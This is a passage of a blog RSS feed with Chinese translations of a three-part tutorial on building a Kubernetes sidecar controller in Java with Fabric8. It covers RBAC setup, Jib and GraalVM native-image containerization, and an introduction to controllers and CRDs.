&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;plugin&amp;gt;
    &amp;lt;groupId&amp;gt;com.google.cloud.tools&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;jib-maven-plugin&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.8.0&amp;lt;/version&amp;gt;
    &amp;lt;configuration&amp;gt;
        &amp;lt;from&amp;gt;
            &amp;lt;image&amp;gt;gcr.io/distroless/java:debug&amp;lt;/image&amp;gt;
        &amp;lt;/from&amp;gt;
        &amp;lt;to&amp;gt;
            &amp;lt;image&amp;gt;jvm-operator:${project.version}&amp;lt;/image&amp;gt;
        &amp;lt;/to&amp;gt;
    &amp;lt;/configuration&amp;gt;
    &amp;lt;executions&amp;gt;
        &amp;lt;execution&amp;gt;
            &amp;lt;phase&amp;gt;compile&amp;lt;/phase&amp;gt;
            &amp;lt;goals&amp;gt;
                &amp;lt;goal&amp;gt;dockerBuild&amp;lt;/goal&amp;gt;
            &amp;lt;/goals&amp;gt;
        &amp;lt;/execution&amp;gt;
    &amp;lt;/executions&amp;gt;
&amp;lt;/plugin&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;缺省镜像没有 Shell，为了方便调试，提供一个 &lt;code&gt;debug&lt;/code&gt; Tag&lt;/li&gt;
&lt;li&gt;目标镜像的标签来自于 POM&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;compile&lt;/code&gt; 阶段会运行插件。注意镜像并没有进行打包操作，因此 &lt;code&gt;package&lt;/code&gt; 阶段可以跳过&lt;/li&gt;
&lt;li&gt;可用的目标包括 &lt;code&gt;build&lt;/code&gt; 和 &lt;code&gt;dockerBuild&lt;/code&gt;。前者无需本地 Docker，并把镜像上传到 DockerHub；后者会把镜像构建到本地 Docker 中&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;到了这一步，写个 Kubernetes 配置就很容易了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;deploy.yml&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  namespace: jvmoperator
  name: custom-operator
spec:
  containers:
    - name: custom-operator
      image: jvm-operator:1.10
      imagePullPolicy: Never
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上边的代码段偷懒声明了一个简单的 &lt;code&gt;Pod&lt;/code&gt;。真实世界的配置会用 &lt;code&gt;Deployment&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl apply -f deploy.yml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;不幸的是，这个命令会失败，输出下列内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;java.net.ProtocolException: Expected HTTP 101 response but was &#39;403 Forbidden&#39;
  at okhttp3.internal.ws.RealWebSocket.checkResponse(RealWebSocket.java:229)
  at okhttp3.internal.ws.RealWebSocket$2.onResponse(RealWebSocket.java:196)
  at okhttp3.RealCall$AsyncCall.execute(RealCall.java:203)
  at okhttp3.internal.NamedRunnable.run(NamedRunnable.java:32)
  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
  at java.lang.Thread.run(Thread.java:748)
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;鉴权&#34;&gt;鉴权&lt;/h2&gt;

&lt;p&gt;这个错误仅在集群内运行时候发生，原因是权限不足。给 Kubernetes API 发送请求是个危险行为，缺省情况下每个请求都会返回错误。因此这个容器需要有合适的授权：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  namespace: jvmoperator
  name: operator-example
rules:
  - apiGroups:
      - &amp;quot;&amp;quot;
    resources:
      - pods
    verbs:
      - watch
      - create
      - delete
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: operator-service
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: operator-example
subjects:
  - kind: ServiceAccount
    name: operator-service
    namespace: jvmoperator
roleRef:
  kind: ClusterRole
  name: operator-example
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubernetes 中用 RBAC 的方式进行鉴权。这方面的主题比较复杂，想要细致学习，可以参考相关文档。&lt;/p&gt;

&lt;p&gt;提交上述代码后，这个 Pod 就能够使用新的 ServiceAccount 运行了——只要做一点简单的修改：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  namespace: jvmoperator
  name: custom-operator
spec:
  serviceAccountName: operator-service
  containers:
    - name: custom-operator
      image: jvm-operator:1.8
      imagePullPolicy: Never
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;容器化-jvm-应用的隐患&#34;&gt;容器化 JVM 应用的隐患&lt;/h2&gt;

&lt;p&gt;早期版本的 JVM 会返回主机的 CPU 和内存数量，而不是容器的。JVM 尝试占用不存在的内存，会导致 &lt;code&gt;OutOfMemoryError&lt;/code&gt;。Kubernetes 则会杀死行为异常的 Pod。如果被杀死 Pod 是  ReplicaSet 的一部分，就会新建一个 Pod。这个过程很不利联想。JDK 10 开始这个问题已经解决了（这个特性也被融合到 JDK 8 的新版本之中）。&lt;/p&gt;

&lt;p&gt;JVM 能够根据工作负载来调整应用程序的编译代码，这是优于静态编译的原生可执行程序的。JVM 需要大量的额外内存来实现这一点。而且 JVM 的启动时间相当长。由于自适应编译后的代码需要时间，所以在启动后的一段时间内，性能都不会符合要求。这也是为什么在 JVM 上的性能指标总是要在较长的预热时间后再进行测量的原因。最后，与原生可执行文件相比，容器的大小要大得多，因为它嵌入了 JVM 本身。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;REPOSITORY            TAG          IMAGE ID            CREATED             SIZE
jvm-operator          1.8          bdaa419c75e2        50 years ago        141MB
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;综上所述，JVM 并非容器化应用的好对象。&lt;/p&gt;

&lt;h2 id=&#34;克服-jvm-的限制&#34;&gt;克服 JVM 的限制&lt;/h2&gt;

&lt;p&gt;有两种方式能够克服上述的 JVM 问题&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;使用 Java 9 中引入的模块系统，JDK 提供了一个思路，让原生可执行文件只包含引用到的模块，抛弃其它内容。这样就见效了可执行尺寸。&lt;/li&gt;
&lt;li&gt;使用 &lt;a href=&#34;https://www.graalvm.org/&#34; target=&#34;_blank&#34;&gt;Graal VM&lt;/a&gt; 的 Substrate VM&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;Substrate VM 是一个能够将 Java 预编译成可执行镜像的框架。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Graal VM 能帮助你：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;把应用打包成单一的 JAR&lt;/li&gt;
&lt;li&gt;从 JAR 创建原生可执行文件&lt;/li&gt;
&lt;li&gt;把原生可执行文件进行容器化&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;不幸的是，Jib 没有 GraalVM 的配置。因此需要使用多阶段 Dockerfile：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;构建 JAR&lt;/li&gt;
&lt;li&gt;从 JAR 构建 原生可执行文件&lt;/li&gt;

&lt;li&gt;&lt;p&gt;容器化&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;ARG VERSION=1.10

FROM zenika/alpine-maven:3 as build
COPY src src
COPY pom.xml pom.xml
RUN mvn package

FROM oracle/graalvm-ce:19.2.1 as native
ARG VERSION
COPY --from=build /usr/src/app/target/jvm-operator-$VERSION.jar \
              /var/jvm-operator-$VERSION.jar
WORKDIR /opt/graalvm
RUN gu install native-image \
&amp;amp;&amp;amp; native-image -jar /var/jvm-operator-$VERSION.jar \
&amp;amp;&amp;amp; mv jvm-operator-$VERSION /opt/jvm-operator-$VERSION

FROM scratch
ARG VERSION
WORKDIR /home
COPY --from=native /opt/jvm-operator-$VERSION operator
ENTRYPOINT [&amp;quot;./operator&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Graal VM 发行版中缺省是不包括 Substrate VM 的，因此首先要进行安装&lt;/li&gt;
&lt;li&gt;在前面步骤生成的 JAR 上执行 &lt;code&gt;native-image&lt;/code&gt; 过程&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;scratch&lt;/code&gt; 镜像为基础。在编译过程中使用 &lt;code&gt;--static&lt;/code&gt; 选项打包，来包含所依赖的库&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这样就缩减了镜像的尺寸：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;REPOSITORY            TAG          IMAGE ID            CREATED             SIZE
jvm-operator          1.10         340d4d9a767e        6 weeks ago         52.7MB
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Substrate VM 包含很多配置项目，为了达到上面的效果，需要这样的一组参数：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;native-image.properties&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;Args=  -J-Xmx3072m \
       --static \
       --allow-incomplete-classpath \
       --no-fallback \
       --no-server \
       -H:EnableURLProtocols=https \
       -H:ConfigurationFileDirectories=/var/config
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;应对反射&#34;&gt;应对反射&lt;/h2&gt;

&lt;p&gt;AOT 过程在反射基础上还有&lt;a href=&#34;https://github.com/oracle/graal/blob/master/substratevm/LIMITATIONS.md&#34; target=&#34;_blank&#34;&gt;诸多限制&lt;/a&gt;。根据底层代码的编写方式不同，可能会受到更多的影响。在不同状况之中，有不同的方法来解决这个问题。这些都将在以后的帖子中介绍：现在我们先来关注一下反射。&lt;/p&gt;

&lt;p&gt;在 Java 中，一些底层代码或多或少依赖于基于运行时的反射。不幸的是，Substrate VM 会删除它认为不需要的代码。不过，这可以通过JSON文件来配置。鉴于依赖反射的调用量，手动配置是一项艰巨的任务。&lt;/p&gt;

&lt;p&gt;Substrate VM 提供了一个更好的选择：它提供了一个 Java 代理，可以在运行中的控制器的命令行中设置。这个代理会拦截控制器应用程序内部的每一个反射调用，并将其记录在一个专门的 &lt;code&gt;reflect-config.json&lt;/code&gt; 文件中。&lt;/p&gt;

&lt;p&gt;在以后的阶段，这个文件（和其他类似的文件一起）可以反馈到编译过程中，这样通过反射访问的代码就会被保留下来。一种方法是通过命令行来送入它们。另一种是将它们打包到 JAR 里面，放在一个专门的文件夹里：这允许库的提供者提供与 AOT 兼容的 JAR，应该是首选的方式。&lt;/p&gt;

&lt;p&gt;根据具体应用的不同，可能还会需要额外的步骤。更多信息，请参考：&lt;a href=&#34;https://blog.frankel.ch/coping-incompatible-code-graalvm-compilation/&#34; target=&#34;_blank&#34;&gt;《How to cope with incompatible code in Graal VM AOT compilation》&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;三篇文章，我们讲述了 Kubernetes 控制器的实现方法。开发过程中我们看到，这并不是一项艰巨的任务。在这其中提到的技术基础之上，能够实现更多更好的功能。&lt;/p&gt;

&lt;p&gt;最后我们在 Kubernetes 集群上运行了新开发的 Java 控制器。后续我们引入 Graal VM 创建了一个原生可执行文件。虽然它使构建过程更加复杂，但使用这样的原生可执行文件消除了 JVM 平台的一些限制：它大大减少了映像大小、内存消耗以及启动时间。&lt;/p&gt;

&lt;p&gt;完整的源码可以在 &lt;a href=&#34;https://github.com/nfrankel/jvm-controller&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 上找到&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>自己的 Kubernetes 控制器（2）——用 Java 开发</title>
      <link>/post/your-own-k8s-controller-2/</link>
      <pubDate>Mon, 13 Apr 2020 15:01:52 +0800</pubDate>
      <guid>/post/your-own-k8s-controller-2/</guid>
      <description>

&lt;p&gt;前面文章中，我们大概描述了开发自定义 Kubernetes 控制器的基础内容。其中我们提到，只要能够使用 HTTP/JSON 就可以满足开发需求。本文中就言归正传开始开发。&lt;/p&gt;

&lt;p&gt;开发使用的技术栈可以 Python、NodeJS 或者 Ruby。我的博客叫“Java Geek”，所以这里选择的是 Java。&lt;/p&gt;

&lt;p&gt;这个案例中我们使用 Sidecar 模式：每次有 Pod 调度，就生成一个并行的 Pod；当前面的 Pod 被删除，后面的 Pod 也随之删除。&lt;/p&gt;

&lt;h2 id=&#34;选择合适的工具&#34;&gt;选择合适的工具&lt;/h2&gt;

&lt;p&gt;为了在 Java 中调用 REST 接口，就首先要生成绑定的结构。有几种方式可以完成这项工作：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;最无聊的方式就是手工完成：认真对待所有请求和响应的 JSON 数据，据此开发对应的 Java 对象，选择 JSON 序列化框架，以及 HTTP 客户端。&lt;/li&gt;
&lt;li&gt;次选的方式是使用 Swagger 或者 APiary 这样的代码生成器：API 提供者需要使用某种方式来提供对应的模型，开发者使用相应工具来生成代码。&lt;/li&gt;
&lt;li&gt;最好的方式是，已经有客户端库提供了绑定结构。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kubernetes 属于第三种——它已经为多种语言提供了绑定代码。只不过这种语言封装和 REST API 非常相近，不太符合我的习惯。例如获取所有命名空间下所有 Pod 的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;ApiClient client = Config.defaultClient();
CoreV1Api core = new CoreV1Api(client);
V1PodList pods =
    core.listPodForAllNamespaces(null, null, null, null, null, null, null, null);
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;所有 &lt;code&gt;null&lt;/code&gt; 都需要传递&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这就是我所说的 &lt;code&gt;和 REST API 非常相近&lt;/code&gt;，幸运的是，还有其他选项：Fabric8 在 &lt;a href=&#34;https://github.com/fabric8io/kubernetes-client&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 上提供了 Java API。等价代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;KubernetesClient client = new DefaultKubernetesClient();
PodList pods = client.pods().inAnyNamespace().list();
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;不再需要无用的 &lt;code&gt;null&lt;/code&gt; 参数。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;fabric8-概述&#34;&gt;Fabric8 概述&lt;/h2&gt;

&lt;p&gt;简单说来，Fabric8 API 里面，在 &lt;code&gt;KubernetesClient&lt;/code&gt; 示例中可以获取所有 Kubernetes 资源：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;client.namespaces()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;client.services()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;client.nodes()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;等等&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;根据资源的特性，可以使用命名空间进行过滤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;client.pods().inAnyNamespace()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;client.pods().inNamespace(&amp;quot;ns&amp;quot;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;列出所有命名空间的所有 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;client.pods().inAnyNamespace().list();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;删除命名空间 &lt;code&gt;ns&lt;/code&gt; 中的所有 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;client.pods().delete(client.pods().inNamespace(&amp;quot;ns&amp;quot;).list().getItems());
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建一个名为 &lt;code&gt;ns&lt;/code&gt; 的命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;client.namespaces()
  .createNew()
    .withApiVersion(&amp;quot;v1&amp;quot;)
    .withNewMetadata()
      .withName(&amp;quot;ns&amp;quot;)
    .endMetadata()
  .done();
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;实现控制回路&#34;&gt;实现控制回路&lt;/h2&gt;

&lt;p&gt;Kubernetes 控制器只是一个控制回路，它会监视集群状态，并尝试将其调整为目标状态。为了跟进调度和删除事件，就需要实现观察者模式。应用订阅事件，在事件发生时，调用相关的回调。&lt;/p&gt;

&lt;p&gt;下面是一个简化版的类图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/watcher-api.svg&#34; alt=&#34;watcher&#34; /&gt;&lt;/p&gt;

&lt;p&gt;实际实现代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class DummyWatcher implements Watcher&amp;lt;Pod&amp;gt; {

  @Override
  public void eventReceived(Action action, Pod pod) {
    switch (action) {
      // 新 Pod
      case ADDED:
        break;
      // Pod 修改
      case MODIFIED:
        break;
      // Pod 删除
      case DELETED:
        break;
      // Pod 出错
      case ERROR:
        break;
    }
  }

  // 删除所有资源。如果客户端正确关闭，`cause` 为 `null`
  @Override
  public void onClose(KubernetesClientException cause) {

  }
}

client.pods()
  .inAnyNamespace()
  .watch(DummyWatcher());
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;细枝末节&#34;&gt;细枝末节&lt;/h2&gt;

&lt;p&gt;我们已经准备好实现 Sidecar 模式了。我不会贴出所有代码，毕竟有 &lt;a href=&#34;https://github.com/nfrankel/jvm-controller&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt;，只会贴出一些必要内容。&lt;/p&gt;

&lt;h3 id=&#34;标记-sidecar&#34;&gt;标记 Sidecar&lt;/h3&gt;

&lt;p&gt;我们的控制器要在 Pod 新建世加入 Sidecar，并在 Pod 移除时也删除 Sidecar。这个逻辑有一点问题：如果 Sidecar pod 被调度，就会触发监控事件，就会加入新的 Sidecar，这个过程会不断重复下去。因此有必要对 Sidecar Pod 进行标记。在带有标记的 Pod 被创建时，不会触发创建逻辑。&lt;/p&gt;

&lt;p&gt;有几种方式来对 Sidecar Pod 进行标记：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;给 Pod 加入后缀，比如 &lt;code&gt;sidecar&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;添加特定标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;client.pods()
.inNamespace(&amp;quot;ns&amp;quot;)
.createNew()
.withNewMetadata()
  .addToLabels(&amp;quot;sidecar&amp;quot;, &amp;quot;true&amp;quot;)
.endMetadata()
.done();
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;和-pod-一起删除-sidecar&#34;&gt;和 Pod 一起删除 Sidecar&lt;/h3&gt;

&lt;p&gt;Pod 应该有且只有一个 Sidecar，并且随 Pod 的创建和销毁同步进行创建和销毁。&lt;/p&gt;

&lt;p&gt;因此 Sidecar 数据结构中需要有一个指向主 Pod 的引用。这样在 Pod 删除时，如果它不是 Sidecar Pod，我们就能找到它的 Sidecar 并删除。&lt;/p&gt;

&lt;p&gt;最直白的方式就是在住 Pod 删除时直接删除 Sidecar，不过这需要做不少事。Kubernetes 中可以把两个 Pod 的生命周期使用 &lt;code&gt;ownerReference&lt;/code&gt; 关联起来。这样就可以让 Kubernetes 自行处理删除逻辑了。&lt;/p&gt;

&lt;p&gt;用 API 实现非常直观：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;client.pods()
  .inNamespace(&amp;quot;ns&amp;quot;)
  .createNew()
    .withNewMetadata()
      .addNewOwnerReference()
        .withApiVersion(&amp;quot;v1&amp;quot;)
        .withKind(&amp;quot;Pod&amp;quot;)
        .withName(podName)
        .withUid(pod.getMetadata().getUid())
      .endOwnerReference()
    .endMetadata()
  .done();
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;保持-sidecar&#34;&gt;保持 Sidecar&lt;/h3&gt;

&lt;p&gt;添加了 Sidecar 并不意味着他会永远保持。例如属于一个 Deployment 的 Pod 会被删除，Deployment 的核心功能就是保持副本数为期望值。&lt;/p&gt;

&lt;p&gt;类似的，如果一个 Sidecar 被删除，并且主 Pod 还保持存活，就应该创建新的 Sidecar，并维持 &lt;code&gt;ownerReference&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;本文描述了用 Java 实现 Kubernetes 控制器的过程。有了 Fabric8 API，这个过程相当直接。主要需要解决的问题就是删除和创建逻辑。下一篇也就是最后一篇，会讲解部署和运行的过程。&lt;/p&gt;

&lt;p&gt;本文涉及的完整代码保存在 &lt;a href=&#34;https://github.com/nfrankel/jvm-controller&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;https://github.com/nfrankel/jvm-controller&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://github.com/fabric8io/kubernetes-client&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>自己的 Kubernetes 控制器（1）——工作准备</title>
      <link>/post/your-own-k8s-controller-1/</link>
      <pubDate>Mon, 13 Apr 2020 11:33:12 +0800</pubDate>
      <guid>/post/your-own-k8s-controller-1/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://blog.frankel.ch/your-own-kubernetes-controller/1/&#34; target=&#34;_blank&#34;&gt;Your own Kubernetes controller - Laying out the work&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/nicolas_frankel&#34; target=&#34;_blank&#34;&gt;Nicolas Fränkel&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;时至今日，&lt;a href=&#34;https://kubernetes.io/&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt; 已经成为容器化应用部署的首选平台，是个难以忽视的存在。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Kubernetes是一个开源系统，用于自动化部署、扩展和管理容器化应用程序。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;短短几年里，Kubernetes 在 CNCF 的大旗下高歌猛进，在 DevOps 领域已经深入人心。这其中的原因众说纷纭，其中一个非常有说服力的理由是，用户能够避免被锁定在单一云提供商的 API 上。如果你对 2000 年左右微软的桌面垄断有所了解，你可能会明白我的意思。&lt;/p&gt;

&lt;p&gt;Kubernetes 的扩展相对来说比较容易，这是它获得广泛认同的一个重要原因。很多软件供应商在 Docker 镜像之外，还会提供一或多个 Operator。&lt;/p&gt;

&lt;p&gt;我假设读者仅对 Kubernetes 有所了解，对控制器一无所知，在这个假设的基础上，我将用三篇连载来讲述如何使用 Go 以外的语言实现自己的控制器。&lt;/p&gt;

&lt;h2 id=&#34;控制器是什么&#34;&gt;控制器是什么&lt;/h2&gt;

&lt;p&gt;配置管理工具可以分为两种：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分类&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;指令式&lt;/td&gt;
&lt;td&gt;指定做事方法，例如启动两个节点&lt;/td&gt;
&lt;td&gt;Ansible、SaltStack 等&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;声明式&lt;/td&gt;
&lt;td&gt;指定目标状态，例如总计五个节点&lt;/td&gt;
&lt;td&gt;Puppet、Chef 等&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;声明式的工具通常会周期性的执行以下任务：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;查询当前状态&lt;/li&gt;
&lt;li&gt;评估要从当前状态达到目标状态所需完成的步骤&lt;/li&gt;
&lt;li&gt;执行这些步骤&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个算法描述的是一个控制回路。&lt;/p&gt;

&lt;p&gt;Kubernetes 里，已经有了这些控制回路的实现。例如 &lt;code&gt;ReplicaSet&lt;/code&gt; 和 &lt;code&gt;Deployment&lt;/code&gt;。这两个对象都可以针对特定镜像设置目标 Pod 数量。Kubernetes 会持续生成副本，直到达到预设的实例数量。如果副本数量发生变化，那么就会新建或删除副本，以达到目标副本数量。&lt;/p&gt;

&lt;p&gt;现在你可能已经猜到了，控制器就是一个控制循环的实现：检查当前状态，用现有状态计算差异，弥补差异。除了 &lt;code&gt;Deployment&lt;/code&gt; 和 &lt;code&gt;ReplicaSet&lt;/code&gt; 的控制器之外，Kubernetes 还提供了很多开箱即用的控制器。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Service&lt;/li&gt;
&lt;li&gt;DeamonSet&lt;/li&gt;
&lt;li&gt;PersistentVolume&lt;/li&gt;
&lt;li&gt;Job&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其实大多数的 Kubernetes 资源都是由控制器管理的。&lt;/p&gt;

&lt;h2 id=&#34;初识-operator&#34;&gt;初识 Operator&lt;/h2&gt;

&lt;p&gt;对控制器感兴趣的读者，可能已经在搜索过程中偶然发现了 Operator 这个名词。如果你的时间非常有限，我建议你跳过这一部分，将这两个术语视为近义词即可。&lt;/p&gt;

&lt;p&gt;前面说到 Kubernetes 的扩展性。其中一个扩展方法就是创建控制器，这也是本文的的重点内容。另一个方式就是对 Kubernetes 模型本身进行扩展：在开箱即用的 Pod、Job 等内置资源以外，还可以使用 CRD 来提供额外的资源类型。&lt;/p&gt;

&lt;p&gt;例如下面的代码定义了一个叫做 &lt;code&gt;Hazelcast&lt;/code&gt; 的资源：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;hazelcast-crd.yml&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apiextensions.k8s.io/v1beta1
kind: CustomResourceDefinition
metadata:
  name: hazelcasts.hazelcast.com
spec:
  group: hazelcast.com
  names:
    kind: Hazelcast
    listKind: HazelcastList
    plural: hazelcasts
    singular: hazelcast
  scope: Namespaced
  subresources:
    status: {}
versions:
    - name: v1alpha1
      served: true
      storage: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把文件提交给 API Server，让 Kubernetes 注册这个新的 &lt;code&gt;Hazelcast&lt;/code&gt; CRD。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;kubectl apply -f hazelcast-crd.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个动作完成之后，就可以像其他内置资源一样进行常用操作了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;kubectl get hazelcasts
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;Operator&lt;/code&gt; 就是一个用于某种 CRD 的控制器。如果知道怎么实现控制器，也就能够创建 Operator 了。&lt;/p&gt;

&lt;h2 id=&#34;控制器的需求&#34;&gt;控制器的需求&lt;/h2&gt;

&lt;p&gt;现在我们看看 Kubernetes 控制器的需求。&lt;/p&gt;

&lt;h3 id=&#34;控制器的部署位置&#34;&gt;控制器的部署位置&lt;/h3&gt;

&lt;p&gt;下图是一个简化的 Kubernetes 架构图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kubernetes-architecture.png&#34; alt=&#34;k8s arch&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 的内置控制器是其控制平面的组成部分。然而自定义控制器是不会出现在这里（Controller Manager）的。控制器没什么限制，它可以在集群内部以 Pod 的形式运行，也可以作为独立的外部进程。&lt;/p&gt;

&lt;p&gt;当然 Pod 形式会享受各种 Kubernetes 上运行容器化应用的福利，例如自愈等。&lt;/p&gt;

&lt;h3 id=&#34;和-kubernetes-的通信&#34;&gt;和 Kubernetes 的通信&lt;/h3&gt;

&lt;p&gt;在 Kubernetes 中，API Server 是一个通信组件。客户端发送 HTTP 请求，API Server 处理请求后发回响应。给 &lt;code&gt;kubectl&lt;/code&gt; 加上参数就能观察到这一过程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods --v=8
I0209 12:36:31.330067   13717 round_trippers.go:420] GET https://192.168.99.103:8443/api/v1/namespaces/default/pods?limit=500
I0209 12:36:31.330078   13717 round_trippers.go:427] Request Headers:
I0209 12:36:31.330081   13717 round_trippers.go:431]     Accept: application/json;as=Table;v=v1beta1;g=meta.k8s.io, application/json
I0209 12:36:31.330085   13717 round_trippers.go:431]     User-Agent: kubectl/v1.17.2 (darwin/amd64) kubernetes/59603c6
I0209 12:36:31.339770   13717 round_trippers.go:446] Response Status: 200 OK in 9 milliseconds
